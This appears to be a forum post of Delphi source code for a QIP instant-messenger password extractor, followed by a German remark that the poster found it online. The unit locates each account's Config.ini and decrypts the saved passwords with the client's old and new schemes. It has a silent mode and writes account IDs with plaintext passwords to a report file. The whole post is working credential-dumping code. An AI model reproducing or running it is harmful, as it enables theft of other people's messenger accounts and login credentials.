Code:
unit QIPPass;
interface
uses Windows, Classes, SysUtils;
type TPassList=array of TStrings;
var PassList:TPassList;
buf:array[0..1023]of char;
QipExePathFromReg:string;
function DecryptQIPPass_New(pass:string):string;
function DecryptQIPPass_Old(pass:string):string;
function FromINI(path:string; SilentMode:boolean):string;
procedure ExtractPass(QIPExePath:string; SilentMode:boolean);
procedure AddString(uin,pas:string);
procedure SaveReport(FileName:string);
implementation
function InHEX(s:string):string;
var i:integer;
begin result:='';
for i:=1 to length(s) do
result:=result+inttohex(ord(s[i]),2)+' '
end;
procedure AddString(uin,pas:string);
function CheckRepeat:boolean;
var i:integer;
begin result:=true;
for i:=0 to Length(PassList)-1 do
if PassList[i].Strings[0]=uin then
if PassList[i].Strings[1]=pas then
result:=false
end;
begin if CheckRepeat then begin
SetLength(PassList,Length(PassList)+1);
PassList[Length(PassList)-1]:=TStringList.Create;
PassList[Length(PassList)-1].Add(uin);
PassList[Length(PassList)-1].Add(pas);
if (pas<>'Not Saved')and(pas<>'Cannot Decrypt') then
PassList[Length(PassList)-1].Add(InHEX(pas))
end
end;
procedure SaveReport(FileName:string);
var rep:TFileStream;
s:string;
i:integer;
begin try
rep:=TFileStream.Create(FileName,fmCreate);
for i:=0 to Length(PassList)-1 do begin
if PassList[i].Count>0 then begin
s:=PassList[i].Strings[0]+#9;
if length(s)<9 then s:=s+#9;
rep.WriteBuffer(s[1],length(s))
end;
if PassList[i].Count>1 then begin
s:=PassList[i].Strings[1]+#9;
if length(s)<9 then s:=s+#9;
rep.WriteBuffer(s[1],length(s))
end;
if PassList[i].Count>2 then begin
s:=PassList[i].Strings[2];
rep.WriteBuffer(s[1],length(s))
end;
rep.WriteBuffer(#13#10,2)
end;
rep.Free
except
end
end;
function DecryptQIPPass_New(pass:string):string;
function DecodeBase64(value:string):string;
function DecodeChunk(const chunk:string):string;
const b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' ;
var
w:LongWord;
i:byte;
c:char;
begin
w:=0; Result:='';
for i:=1 to 4 do
if pos(Chunk[i],b64)<>0 then
w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
for i := 1 to 3 do begin
c:=chr(w shr((3-i)shl 3)and $ff);
if c<>#0 then Result:=Result+c
end
end;
begin
Result:='';
if length(Value)and $03<>0 then exit;
while length(Value)>0 do begin
Result:=Result+DecodeChunk(copy(value,0,4));
delete(value,1,4);
end
end;
var t,i,c:integer;
begin i:=length(pass);
if i=0 then
result:='Not Saved'
else
if i and $03<>0 then
result:='Cannot Decrypt'
else begin
Result:=DecodeBase64(pass);
t:=$1ac3;
for i:=1 to length(Result) do begin
c:=Ord(Result[i]);
Result[i]:=chr(c xor(t shr 8));
t:=(t+c)*$38421+$64ceb;
end
end
end;
function DecryptQIPPass_Old(pass:string):string;
const
Table1:string='4654360486439083677';
Table2:string='216463956385630579';
function DeXor1(const Pass,Table:string):string;
var
CryptChar:Byte;
i,p:Integer;
begin
Result:=Pass;
CryptChar:=Length(Table)-1;
p:=1;
for i:=1 to Length(Result) do begin
if (CryptChar and 8) = 0 then
CryptChar:=CryptChar xor 1;
CryptChar:=not CryptChar;
CryptChar:=(CryptChar shr 1)or(CryptChar shl 7);
Result[i]:=Chr(Ord(Result[i])xor CryptChar xor Ord(Table[p]));
Inc(p);
if p>Length(Table) then
p:=1;
end;
end;
function DeXor2(const Pass:string):string;
var
CryptInt:SmallInt;
i,t,l,v:integer;
const
Table: array[0..$5f] of Byte = (
$5A, $54, $5B, $5C, $55, $4E, $48, $4F, $56, $5D, $5E, $57, $50, $49, $42, $3C,
$43, $4A, $51, $58, $5F, $59, $52, $4B, $44, $3D, $36, $30, $37, $3E, $45, $4C,
$53, $4D, $46, $3F, $38, $31, $2A, $24, $2B, $32, $39, $40, $47, $41, $3A, $33,
$2C, $25, $1E, $18, $1F, $26, $2D, $34, $3B, $35, $2E, $27, $20, $19, $12, $0C,
$13, $1A, $21, $28, $2F, $29, $22, $1B, $14, $0D, $06, $00, $07, $0E, $15, $1C,
$23, $1D, $16, $0F, $08, $01, $02, $09, $10, $17, $11, $0A, $03, $04, $0B, $05
);
begin
Result:=Pass;
l:=length(Result);
t:=l;
for i:=1 to l do begin
CryptInt:=Ord(Result[i])-$20;
if (CryptInt>=0) and (CryptInt<=$5f) then begin
v:=CryptInt;
if l and $03<>0 then
t:=(t shl 3)or(t shr 27);
t := t and $1f;
CryptInt:=CryptInt xor t;
t:=t+l+v;
Result[i]:=Chr(Table[CryptInt]+$20);
end;
Dec(l);
end;
end;
var
i,l:integer;
begin
result:='';
l:=length(pass);
if l=0 then
result:='Not Saved'
else
if l and $01<>0 then
result:='Cannot Decrypt'
else begin
for i:=1 to l do begin
if pos(pass[i],'0123456789ABCDEF')=0 then begin
result:='Cannot Decrypt';
exit
end
end;
for i := 1 to l shr 1 do
Result:=Result+Chr(StrToInt('$'+Copy(pass,i shl 1 -1,2)));
Result:=DeXor1(Result,Table1);
Result:=DeXor1(Result,Table2);
Result:=DeXor2(Result);
end
end;
function FromINI(path:string; SilentMode:boolean):string;
begin result:='';
if FileExists(path) then begin
buf[GetPrivateProfileString('Main','Password','',buf,32,pchar(path))]:=#0;
if buf[0]<>#0 then
result:=DecryptQIPPass_Old(buf)
else begin
buf[GetPrivateProfileString('Main','NPass','',buf,32,pchar(path))]:=#0;
result:=DecryptQIPPass_New(buf);
end
end else
if not SilentMode then messagebox(0,pchar(path+' не найден !!!'),'QPR',mb_ok)
end;
procedure ExtractPass(QIPExePath:string; SilentMode:boolean);
var i:integer;
acc:TStringList;
begin if FileExists(QIPExePath) then begin
QIPExePath:=ExtractFilePath(QIPExePath)+'Users\';
if FileExists(QIPExePath+'Accounts.cfg') then begin
acc:=TStringList.Create;
acc.LoadFromFile(QIPExePath+'Accounts.cfg');
acc.NameValueSeparator:='=';
for i:=0 to acc.Count-1 do begin
acc.Strings[i]:=acc.Strings[i]+'=';
AddString(acc.Names[i], FromINI(QIPExePath+acc.Names[i]+'\Config.ini', SilentMode))
end;
acc.Free
end else
if not SilentMode then messagebox(0,pchar('Accounts.cfg не найден !!!'),'QPR',mb_ok)
end else
if not SilentMode then messagebox(0,pchar('QIP не найден !!!'),'QPR',mb_ok)
end;
end.
Keine Ahnung ob der noch aktuell ist, hab ich im Web gefunden